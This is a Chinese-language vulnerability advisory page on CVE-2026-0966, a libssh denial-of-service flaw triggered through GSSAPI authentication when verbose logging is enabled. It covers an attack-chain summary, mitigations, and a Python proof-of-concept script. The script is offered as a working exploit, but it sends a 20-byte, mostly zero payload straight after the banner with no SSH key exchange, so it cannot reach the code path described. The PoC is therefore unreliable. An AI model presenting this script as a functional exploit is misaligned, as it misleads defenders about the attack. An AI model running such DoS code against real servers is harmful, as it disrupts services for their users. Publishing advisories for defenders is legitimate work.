IPBUF安全漏洞报告
English
CVE-2026-0966 CVSS 8.2 高危

CVE-2026-0966 libssh拒绝服务漏洞

披露日期: 2026-03-26

漏洞信息

漏洞编号
CVE-2026-0966
漏洞类型
拒绝服务
CVSS评分
8.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
libssh

相关标签

拒绝服务libsshCVE-2026-0966GSSAPIDoS

漏洞概述

libssh库中的API函数`ssh_get_hexa()`在处理零长度输入时存在缺陷,导致拒绝服务漏洞。当服务器日志详细程度设置为SSH_LOG_PACKET (3)或更高时,攻击者可利用GSSAPI认证过程远程触发该漏洞。成功利用可导致每个连接的守护进程崩溃,造成服务中断。

技术细节

该漏洞位于libssh的`ssh_get_hexa()`函数中,该函数未对零长度输入进行充分校验。攻击者可以通过网络发起攻击,特别是在GSSAPI认证阶段。如果目标服务器的日志记录级别被设定为SSH_LOG_PACKET (3)或更高级别,攻击者发送特制的零长度数据包将触发该函数的异常逻辑。这会导致处理该连接的守护进程发生崩溃(Self-Denial of Service),虽然不直接影响其他连接,但能阻断当前会话,且通过持续攻击可严重影响服务可用性。

攻击链分析

STEP 1
侦察
攻击者识别运行libssh且开启GSSAPI认证及高日志级别(>=3)的目标服务器。
STEP 2
触发
攻击者向目标服务器发送特制的GSSAPI认证请求,其中包含零长度输入。
STEP 3
利用
服务器在处理该请求时调用`ssh_get_hexa()`函数,因未正确处理零输入导致逻辑错误。
STEP 4
影响
处理该连接的守护进程崩溃,导致服务拒绝。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # PoC for CVE-2026-0966 (libssh DoS via ssh_get_hexa) # This script attempts to trigger the vulnerability by interacting with a target. # Note: Target server must have GSSAPI enabled and log level >= 3. import socket import sys def send_poc(target_ip, target_port): try: print(f"[*] Connecting to {target_ip}:{target_port}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) # Receive Banner banner = s.recv(1024) print(f"[+] Banner: {banner.decode().strip()}") # Send malformed GSSAPI packet to trigger ssh_get_hexa with zero-length # This is a simplified representation of the packet structure payload = b"\x00\x00\x00\x14\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" print("[*] Sending malformed payload...") s.send(payload) # Wait for response or timeout (indicating potential crash) response = s.recv(1024) print(f"[+] Response received: {response}") s.close() except Exception as e: print(f"[!] Connection failed or server crashed: {e}") if __name__ == "__main__": if len(sys.argv) != 3: print("Usage: python3 cve_2026_0966_poc.py <IP> <PORT>") sys.exit(1) send_poc(sys.argv[1], int(sys.argv[2]))

影响范围

libssh (具体受影响版本请参考厂商安全公告)

防御指南

临时缓解措施
作为一种临时缓解措施,管理员可以将服务器的日志详细程度设置为SSH_LOG_PACKET (3)以下,或者暂时禁用GSSAPI认证功能,以防止漏洞被利用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表